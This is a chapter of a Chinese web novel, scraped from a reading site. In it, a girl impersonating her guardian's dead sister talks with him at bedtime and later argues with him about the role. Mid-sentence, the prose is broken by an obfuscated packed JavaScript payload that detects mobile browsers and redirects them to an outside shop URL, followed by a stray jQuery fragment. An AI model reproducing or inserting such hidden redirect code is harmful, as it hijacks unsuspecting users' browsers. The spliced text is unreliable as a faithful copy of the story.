文趣网 > 其他小说 > 吾妹难驯 > 8. 08
    姜晚后背起了层白毛汗。

    恐栗非常。

    贺嘉树亲口将亲妹妹的死讯告知她。

    这意味着,她和他就是一条绳上的蚂蚱了,身陷局中,将来难出。

    “好,阿兄。”姜晚无比温柔地回答。

    事实上,她口服心不服。

    这双面人的功夫,还是从娘亲处学来。

    贺嘉树抚摸她的头顶,“我守着你,你睡着了,我再走。”

    姜晚朝他挪了挪,双手合十作枕,枕在他手边,抬眼时,湿黑眼睛亮晶晶地问:

    “哥哥以前也这么会哄人的?”

    她迅速套近乎调笑的模样,

    太天真亲和了。像极了阿泠。

    本不想回答的贺嘉树,着迷般诚恳回答:“不曾哄过。除了阿泠。”

    姜晚本喜滋滋,闻言兜头一盆冷水浇下。

    此阿泠非彼阿泠。

    “哦。”

    姜晚闭眸,压抑呼吸,蓦然心一紧。

    全部是贺泠央的。

    连哥哥也是贺泠央的,不容任何人觊觎。

    不容任何人染指。

    恐怖如坠崖般的烧痛。烧得她勉强从美梦中清醒一时半刻。

    更明确的酸涩妒火燃起。

    使她伪装有了裂痕。

    她忽然吸吸鼻子,带着鼻音故作可爱问:

    “阿兄,能抱抱我吗?”

    贺嘉树没有动作。

    可他不是瞎子。

    余光中,他瞥见这孩子的模样:被人拒绝了,双眼含泪不语。

    楚楚可怜。

    贺嘉树一下就被拽回那个雪夜。

    在寒风中哭泣的、死不瞑目的脸。

    贺嘉树咽喉堵塞,侧身将小女孩横抱起来,让她坐在自己腿上。

    实非情愿,身体先行。

    姜晚微微惊诧。

    经年后,贺嘉树常常会回忆这个时刻。冥冥之中,真像一种预兆。

    从初见就无法拒绝对方的要求,那这一生,便也被套牢了。忍不住无数次纵容对方,形成惯性。

    因他是忍不住顺从姜晚的要求,即便抱了人,生硬地不肯再作哄睡的进一步动作。

    人僵在那里,生自己的气。

    贺嘉树憋闷气,憋得眼尾到脸颊,都轻微发红。

    乍一看,倒像是他“被强迫”了。

    夜灯下看美人,姜晚心都跳到了嗓子眼,强自忍住了。

    她见好就收,讨好地抱住了他的腰,解释说:“娘亲……我也这么抱。”

    贺嘉树冷冷落下一眼,什么都没说。

    姜晚靠在他怀中,躺在肌肉分明的肩膀附近,闻着清冽松柏香气,诡异地感到安心。

    睡意逐渐袭来。

    她不怎么乱动,意识趋向模糊。

    脑中胡乱想着,这人的腰怎么这么细。

    念头杂乱。

    嘴巴忍不住问出:“那你以前也这样抱过她吗?”

    一开口,姜晚就后悔了。

    她先在心中否定了自己的疑问。

    贺嘉树怎么可能没抱过他的妹妹?

    他们感情那般好……

    姜晚不期听到了贺嘉树的回答。

    “咳。”他嗓子发痒,“没这样抱过。”

    贺泠央都是跑过来主动抱他。

    小时候抱他大腿,吵着要阿兄买巨胜奴,买饴糖,要最最甜的。

    丹砂在一边急得冒汗,弯腰劝说:“公子在练刀呢,小姐当心着些。”

    贺泠央抱着哥哥的腿不撒手,“不嘛不嘛,阿兄给买的。爹娘不给买,说会牙痛。”

    每每缠着贺嘉树,她要什么有什么。贺嘉树也总是耐心笑着满足他的需求。

    再者,贺泠央是个古怪的小孩。

    她一沾枕头就睡。

    没心没肺没烦恼。

    偏偏她要贺嘉树来哄她睡觉,还要兄长读最可怕的话本子。

    用那些妖怪鬼神的恐怖故事,来吓得自己睡不着觉。

    贺嘉树是问过她:“何以怕成这样,还非要听?”

    “就是害怕才要听呀。”贺泠央童言稚语,语气理所应当。

    也许,承自爹娘,贺嘉树想,

    贺泠央和他的身体里,流淌着一样的向往危险的血。

    姜晚听他讲起贺泠央,不禁怍然低头。

    自己对一个素未谋面、又天真可爱的同龄小姑娘这般忌恨,着实是太过小心眼。

    皆因她对贺嘉树莫名钟情。

    她更加羡慕贺泠央,活得恣意尽情。

    她连模仿都很难。

    用一片岭南的天空下,人和人,可以活得这么不同。

    对贺泠央来说,随处可得的幸福际遇;在姜晚听来,过分美好,美好得像编出来的故事。

    可无论是哪种理由,她并不该去仇视贺泠央。

    他人的

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17941826|213936||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    幸福,并非自己的不幸。

    “阿兄,是我不对。”姜晚道,“不该问这些。”

    贺嘉树却说:“不,你问得很好。”

    “以后,我会多和你说起阿泠的事。”

    姜晚“嗯”了声。

    心想这样也好,她可以更了解原本的贺泠央。

    在贺家二老面前,也可以扮演得没有破绽。

    后来,贺嘉树率先改口,叫她阿央。

    阿泠变成另一个人的代名词。

    只有私底下,他纠正教导她的行止,贺嘉树才会慎而慎之地提起亲妹妹的代称。

    “阿泠不会如此,你应当……”

    这样的句式,八年的朝夕相处里,她不知听了多少次,耳朵都要长茧子。

    有时气急,她会在四时居的屋中和贺嘉树吵起来。反正四下无人,不怕身份暴露。

    那种吵架,和发疯没有区别。

    “应当应当应当,阿兄,什么是应当?”

    “像她就是应当,做我自己便是千不该万不该?”

    “我不是阿泠,也不是阿央,我就是我自己!“

    贺嘉树气得说不出话来,”你——“

    “你”了半天,一句重话都说出口。

    愤怒至极的贺嘉树,练刀练射帮后厨砍南瓜,再作南瓜稀粥散出去。他这气不知不觉就消了。

    反倒是姜晚,冷静过后先来向兄长道歉了。

    她终究理亏。

    吃着贺家的、用着贺家的、学着贺家的,享受着贺家供养的一切,她天然就处于劣势。

    哪怕自己占理的事,理论起来,也因此短了气势,矮了一截。

    只得先去服软。

    如今的姜晚晚得意忘形。

    又怎么会想到以后的有苦难言。

    恰在此时,

    贺嘉树的目光落在她身上,凝聚在一处,眸光逐渐发深。

    “脖子上是什么?”他问。

    姜晚脸色煞白,下意识去提拢衣领。

    “灯挂椅卡的。”

    眼见贺嘉树面露惊奇,姜晚后悔自己嘴快,不该直接说了真话。

    若撒谎说是蚊虫叮咬的、迎风吹的,就不必解释深了。

    姜晚在脑中迅速过着数种谎言,她还是选择了其中最简单的一种。

    语气多了几分笃定。

    “我……我有些贪玩。将头钻到灯挂椅的缝隙中去了,方有此痕迹。”